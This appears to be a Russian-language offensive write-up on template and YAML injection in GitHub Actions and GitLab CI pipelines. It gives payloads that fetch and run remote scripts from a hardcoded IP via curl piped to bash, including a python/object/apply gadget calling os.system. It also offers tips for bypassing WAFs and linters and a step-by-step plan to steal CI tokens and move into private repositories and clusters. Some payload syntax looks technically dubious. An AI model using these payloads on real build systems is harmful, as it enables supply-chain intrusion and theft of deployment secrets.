Что вижу:
CI/CD-конфиги (.github/workflows/*.yml
, .gitlab-ci.yml
) тащат в себе шаблонизаторы — будь то ${{ secrets.KEY }}
в GitHub Actions или !reference
/!include
магия в GitLab CI. Попробуй подсунуть payload в label/step/job/env — и ты уже на грани Template Injection.
Как поймал:
• ffuf по {{7*7}}
, !ruby/object
или ${{ steps.exploit.outputs.pwn }}
.
• nuclei кастомным шаблоном, чтобы прогонять CI-лямы на наличие eval’а.
• руками: пушишь MR с “кривым” yaml и ждёшь, пока пайплайн запустит твой самосборный пайлоад.
Чем пахнет:
• Класс: SSTI в YAML-парсерах GitHub/GitLab CI.
• Вероятность: 7/10 (зависит от того, разрешено ли юзать кастомные templates/hooks).
Че почем
Эксплойт:
GitHub Actions любит свои ${{ }}
конструкции. Если maintainer тупо инжектит issue title или PR body в YAML (например, для динамических job-id), то payload:
1 2 3 4 5 |
jobs: build: runs-on: ubuntu-latest steps: - run: echo ${{ github.event.pull_request.title }} |
А ты такой пушишь PR с заголовком:
1 |
${{ github.run_id && curl -s http://144.76.56.11/x.sh | bash }} |
GitLab CI ещё веселее — YAML-чижики могут хавать !reference
и кастомные анчоры. Там payload доходит до такого:
1 2 3 4 5 6 7 8 9 |
stages: - inject inject_pwn: stage: inject script: - echo "Exploit" variables: INJECT_ME: !!python/object/apply:os.system ["curl -s http://144.76.56.11/p0wn.sh|bash"] |
Обход защиты:
• Если WAF режет ${{ ... }}
— юзай вложения ${{ join(matrix.os, '.') }}
.
• Для GitLab: обрули линтер через !reference *hidden
или !include
.
Доказательство:
uid=0(root)
в Actions log
или артефакт-билд с твоим shell’ом. Выглядит мило: не PR коммент, а твоя ревёрс-шелуха крутится на runner
.
Советы:
3 вектора для добивания:
• Проверь .github/workflows/*
+ .gitlab-ci.yml
на subject-based injection — часто туда льют issue title, commit msg и ревью-комменты.
• Если есть workflow_dispatch
— подкинь кривой input. Это YAML-инъекция через “user-supplied metadata”.
• Экзотика: GitLab Auto DevOps часто тянет Helm values.yaml. SSTI в чартах = кластер твой.
План атаки:
1. Создаём PR/MR с payload в title или description.
2. Смотрим как CI runner выполняет shell-срань в logах.
3. Заливаем shell через curl | bash.
4. Собираем токены (cat $GITHUB_TOKEN
или printenv CI_*
в GitLab).
5. Прыгаем дальше — приватные репо, секреты, весь кластер.
Видишь — CI/CD шаблонизатор это та же SSTI, только с бонусом: он выполняется не в “шаблоне”, а на билд-сервере с доступом к секретам и деплою. То есть каждый ${{ }}
или !yaml_magic
это не игрушка, а билет в прод.